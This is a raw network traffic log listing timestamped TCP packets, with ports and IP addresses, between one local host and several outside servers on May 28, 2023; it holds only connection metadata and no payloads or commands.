May 28, 2023 10:42:36.934209108 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934223890 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934247017 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934248924 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934272051 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934294939 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934317112 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934317112 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934341908 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934350014 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934365034 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934387922 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934390068 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934412003 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934433937 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934449911 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934456110 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934478998 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934488058 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934501886 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934525013 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934526920 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934549093 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934566021 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934571981 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934597969 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934619904 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934653044 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934669971 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934676886 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934684038 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934703112 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934726954 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934737921 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934756041 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934778929 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934809923 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934818983 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934834957 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934851885 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934858084 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934880972 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934890032 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934906960 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934930086 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934935093 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.934954882 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.934978962 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.935034990 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.935045958 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.935164928 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.972534895 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:37.086015940 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:37.330039024 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:38.028898001 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.045592070 CEST	80	49698	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.045914888 CEST	49698	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.077053070 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.093298912 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.093795061 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.093795061 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.093826056 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.110052109 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.110093117 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.233839035 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.233903885 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.234047890 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.261671066 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.261671066 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.278172970 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.278386116 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.340626955 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.340675116 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:38.341097116 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:38.392379045 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.392442942 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.392694950 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.395442963 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.395493984 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.505260944 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.505484104 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.541879892 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.541927099 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.542769909 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.591839075 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.811734915 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.852344036 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.879641056 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.879714012 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.879739046 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.879887104 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.879887104 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.879924059 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.921056032 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.921186924 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.921204090 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.921292067 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.921298981 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.921385050 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.941318989 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:38.941385984 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:38.941473961 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:38.957664967 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:38.957706928 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:38.962857962 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.962986946 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.963000059 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.963023901 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.963083982 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.963265896 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:38.963366985 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:38.963385105 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.004899025 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.004983902 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.005011082 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.005105972 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.005218029 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.005260944 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.005300999 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.005398035 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.005415916 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.005527020 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.005599976 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.005623102 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.038009882 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:39.038113117 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:39.047813892 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.047990084 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.047996998 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.048068047 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.048080921 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.048180103 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.048249960 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.048264980 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.048445940 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.048508883 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.048526049 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.048711061 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.048799038 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.048810005 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.048933029 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.049066067 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.049073935 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091142893 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091293097 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.091320992 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091348886 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091414928 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091423988 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.091439962 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091494083 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.091514111 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091615915 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.091630936 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091747999 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091875076 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.091891050 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.091994047 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.092086077 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.092102051 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.092191935 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.092303038 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.092339039 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.092412949 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.092504025 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.092521906 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.092669010 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.092828989 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.092847109 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.134577990 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.134743929 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.134833097 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.134834051 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.134862900 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.135035992 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.135133982 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.135149956 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.135274887 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.135385036 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.135401964 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.135509968 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.135597944 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.135615110 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.135737896 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.135840893 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.135854006 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136007071 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136096954 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.136111975 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136328936 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136450052 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.136466980 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136534929 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136637926 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.136653900 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136759996 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136841059 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.136856079 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.136991024 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.137089968 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.137104034 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.137240887 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.137305021 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.137326002 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.137341976 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.137478113 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.137665987 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.137681007 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.137842894 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.137902021 CEST	49701	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:39.137933016 CEST	443	49701	217.174.148.28	192.168.2.3
May 28, 2023 10:42:39.301414013 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:39.301493883 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:39.302383900 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:39.302480936 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:39.305999994 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:39.317044020 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:39.333545923 CEST	80	49700	188.114.97.7	192.168.2.3
May 28, 2023 10:42:39.333646059 CEST	49700	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:39.343398094 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:39.343523979 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:39.343560934 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:39.343591928 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:39.343628883 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:39.343658924 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:39.367804050 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:39.384068966 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.384248018 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:39.384535074 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:39.384577990 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:39.397561073 CEST	49702	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:39.397602081 CEST	443	49702	162.0.217.254	192.168.2.3
May 28, 2023 10:42:39.400628090 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.400671005 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.523922920 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.523973942 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.524028063 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:39.592817068 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:39.592881918 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:39.609208107 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.609268904 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.674935102 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.674989939 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:39.675055027 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:39.688122988 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.701585054 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.726433039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.726572990 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.747947931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.772663116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.772735119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.772792101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.772839069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.772903919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.772938013 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.772959948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.773025990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.773030996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.773092031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.773099899 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.773163080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.773210049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.773278952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.773284912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.773406029 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.797888994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.797957897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798007011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798073053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798125982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798142910 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.798142910 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.798181057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798232079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798295021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798310041 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.798345089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798392057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798445940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.798455954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798505068 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.798516989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798563004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798609972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798675060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798682928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.798729897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798783064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798820972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.798839092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798885107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.798916101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.798948050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.799144030 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.823589087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823642015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823677063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823714018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823750973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823756933 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.823788881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823827982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823863983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823868990 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.823901892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823937893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823973894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.823981047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824011087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824026108 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824049950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824084997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824120998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824125051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824158907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824162960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824198008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824237108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824237108 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824331045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824359894 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824371099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824407101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824443102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824477911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824481964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824517012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824528933 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824553967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824589968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824626923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824662924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824670076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824701071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824738026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824775934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824780941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824811935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824812889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824852943 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824888945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824889898 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.824927092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824963093 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.824965000 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.825001001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:42.825017929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:42.825038910 CEST	80	49704	45.9.74.80	192.168.2.3
